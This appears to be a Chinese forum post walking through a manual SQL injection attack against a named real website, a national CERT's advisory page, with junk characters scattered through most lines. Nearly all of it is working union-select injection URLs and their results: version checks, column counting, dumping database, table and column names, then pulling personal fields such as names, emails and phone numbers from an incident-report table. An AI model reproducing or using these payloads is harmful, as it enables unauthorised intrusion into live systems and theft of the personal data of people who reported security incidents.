1.判断版本http://www.cert.org.tw/document/advisory/detail.php?id=7 and ord(mid(version(),1,1))>51 返回正常,说明大于4.0版本,支持ounion查询
: v) e$ }! S7 {. L' i! a2.猜解字段数目,用order by也可以猜,也可以用union select一个一个的猜解
) n+ _4 P/ R4 `6 s/ Lhttp://www.cert.org.tw/document/advisory/detail.php?id=7 and 2=4 union select 1,2,3,4,5,6,7,8,9--
4 `1 L/ P" b, H$ M1 { l3.查看数据库版本及当前用户,http://www.cert.org.tw/document/advisory/detail.php?id=7 and 2=4 union select 1,user(),version(),4,5,6,7,8,9--8 s. u% a1 K) J z' r* o1 M) ~1 q
数据库版本5.1.35,据说mysql4.1以上版本支持concat函数,我也不知道是真是假,有待牛人去考证。
! D" Q* R2 @1 W2 w# q0 u4.判断有没有写权限$ Y1 o0 _+ Q$ Q, x
http://www.cert.org.tw/document/advisory/detail.php?id=7 and (select count(*) from MySQL.user)>0-- 返回错误,没有写权限% r. g2 e! @9 [* Z0 s; @3 M0 T
没办法,手动猜表啦& r: I1 M' A B) x
5.查库,以前用union select 1,2,3,SCHEMA_NAME,5,6,n from information_schema.SCHEMATA limit 0,1+ A* V9 |) e. O0 W7 t
但是这个点有点不争气,用不了这个命令,就学习了下土耳其黑客的手法,不多说,如下6 L# e9 g; R+ V
http://www.cert.org.tw/document/ ... union+select+concat(0x5B78786F6F5D,GROUP_CONCAT(DISTINCT+table_schema),0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+information_schema.columns--: [9 k. e: P E8 I, ~1 T+ d6 ]8 L
成功查出所有数据库,国外的黑客就是不一般。数据库如下:4 L; {# {5 q- S1 v# a: Y
information_schema,Advisory,IR,mad,member,mysql,twcert,vuldb,vulscandb
9 _* T6 r3 V" `7 k& I6.爆表,爆的是twcert库
# {+ G. i- S* c" S1 v/ [http://www.cert.org.tw/document/ ... union+select+concat(0x5B78786F6F5D,GROUP_CONCAT(DISTINCT+table_name),0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+information_schema.columns+where+table_schema=0x747763657274--; R1 m+ N& [* F8 t4 S- |
爆出如下表
5 Z6 m. Z% x4 P7 R: t' Udownloadfile,irsys,newsdata,secrpt,secrpt_big5
s/ f/ P1 m3 q, [5 a K7.爆列名,这次爆的是irsys表
; D1 M' z2 y8 f4 p8 q5 r5 v+ v, Zhttp://www.cert.org.tw/document/ ... union+select+concat(0x5B78786F6F5D,GROUP_CONCAT(DISTINCT+column_name),0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+information_schema.columns+where+table_name=0x6972737973--
0 f* Z$ u/ V$ j$ U& Z7 \0 D爆出如下列
& |, @! @- G, q0 Q* w+ w5 Y2 l9 U7 rir_id,name,company,email,tel,pubdate,rptdep,eventtype,eventdesc,machineinfo,procflow,memo,filename,systype,status
7 _2 ^; g9 W% J0 s+ Z; V Y! ?8.查询字段数,到这一步,国内很少有黑客去查询字段数的,直接用limit N,1去查询,直接N到报错为止。
# c& R/ f1 m$ qhttp://www.cert.org.tw/document/ ... union+select+concat(0x5B78786F6F5D,CONCAT(count(*)),0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+twcert.irsys--( g& x+ M9 J+ s3 g' X" d
返回是3,说明每个列里有3个地段
/ d. z: m! ?5 U6 E9 I: I9.爆字段内容
! [- f, |$ M8 D8 @+ Nhttp://www.cert.org.tw/document/ ... union+select+concat(0x5B78786F6F5D,name,0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+twcert.irsys+LIMIT+0,1--
2 _- @* b7 ]% Q爆出name列的第一个字段的内容5 I0 \( `* u! R& N8 _7 W
http://www.cert.org.tw/document/ ... union+select+concat(0x5B78786F6F5D,name,0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+twcert.irsys+LIMIT+1,1--! r; Z; }0 c7 g' n
爆出name列的第二个字段的内容 |